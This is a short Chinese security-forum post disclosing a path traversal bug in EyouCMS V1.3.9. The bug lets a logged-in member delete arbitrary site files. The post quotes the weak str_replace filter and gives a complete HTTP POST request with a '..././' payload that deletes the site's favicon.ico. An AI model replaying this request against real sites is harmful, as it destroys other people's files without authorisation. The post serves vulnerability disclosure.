EyouCMS-V1.3.9-UTF8-SP2,有一个删除站点图片的bug

tang**** / 2019-09-30 09:12:09 / 浏览数 4238 安全技术 漏洞分析 顶(1) 踩(1)

菜鸟第一次发贴,大老们路过,笑笑就好.

bug等级: 低
bug文件:
\application\user\controller\Uploadify.php 66行
public function delupload()

```
$filename= str_replace('../','',$filename); // "../"■■■■,  ■■■■■■..
```

复现方法:
必须登录上会员,随意注册一下就可以,

```
POST http://www.test.com/eyoucms/?m=user&c=uploadify&a=delupload HTTP/1.1
Proxy-Connection: keep-alive
Content-Length: 53
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.test.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.test.com/eyoucms/?m=user&c=Users&a=index
Accept-Language: zh-CN,zh;q=0.9
Host: www.test.com
Cookie: home_lang=cn; users_id=4; PHPSESSID=tcts5qdj6o18fvntoabt47o8v6; admin_lang=cn

//post■■
action=del&filename=xxx/xxx/4/..././..././..././favicon.ico
xxx/xxx/4 ■■■■4■■■■Cookie ■users_id
```

post的filename被str_replace('../','',$filename)过滤后, 为xxx/xxx/4/../../../favicon.ico, 就是要网站根目录下了, favicon.ico成功被删除,

上一篇：PHPStudy后门事件分析 下一篇：InCTF 2019 - (PHP...

1. 0 条回复
   - 动动手指，沙发就是你的了！